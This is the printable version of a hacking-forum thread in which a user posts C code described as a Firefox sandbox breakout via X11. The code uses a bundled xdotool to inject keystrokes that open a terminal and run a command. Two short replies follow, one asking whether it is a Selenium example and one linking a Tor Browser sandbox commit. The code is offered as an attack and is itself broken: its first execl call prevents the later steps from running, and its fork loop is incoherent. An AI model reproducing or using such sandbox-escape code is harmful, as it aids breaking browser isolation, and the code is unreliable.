![]() |
|
Sandboxing (firefox) - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: C, C++, & Obj-C (https://sinister.li/Forum-C-C-Obj-C) +--- Thread: Sandboxing (firefox) (/Thread-Sandboxing-firefox) |
Sandboxing (firefox) - dark_bit - 09-15-2017 Quote:Sandbox breakout via x11, Code: #include <stdlib.h>
#include <unistd.h>
int main(void) {
int status;
setenv("LD_LIBRARY_PATH","/usr/lib/firefox-esr/firefox-esr",1);
do {
execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","key","alt+f2","sleep","1","type","gnome-terminal",(const char *) NULL);
execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep","1","key","Return", "sleep", "1", "type", "id", (const char *) NULL);
execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep", "1", "key", "Return", (const char *) NULL);
for (int n=0; n<3; n=n+1) {
//boolean switched types.
switch (n) {
case 0 : //execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","key","alt+f2","sleep","1","type","gnome-terminal",(const char *) NULL);
if (fork()==0) {
status=0;
sleep(1);
continue;
}
else if (fork !=0) {
status=!fork();
return 0;
}
case 1 : // execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep","1","key","Return", "sleep", "1", "type", "id", (const char *) NULL);
if (fork()==0) {
status=0;
sleep(1);
continue;
}
else if (fork !=0) {
status=!fork();
return 0;
}
case 2 : // execl("/usr/lib/firefox-esr/firefox-esr/xdotool","xdotool","sleep", "1", "key", "Return", (const char *) NULL);
if (fork()==0) {
status=0;
sleep(1);
continue;
}
else if (fork !=0) {
return 0;
}
}//switch
}//switch
//for
} while (status==fork());
sleep(1000);
return 0;
}Quote: [The wolf brigade] RE: Sandboxing (firefox) - BORW3 - 09-18-2017 Hmmm, this is Selenium example in C++? RE: Sandboxing (firefox) - dark_bit - 09-19-2017 (09-18-2017, 01:40 PM)BORW3 Wrote: Hmmm, this is Selenium example in C++? Quote:i guest i miss to post some of the documentation, look at < https://gitweb.torproject.org/tor-browser/sandboxed-tor-browser.git/commit/?id=1bfbd7cc1cd60c9468f2e33a3d4816973f1fb2f5 > |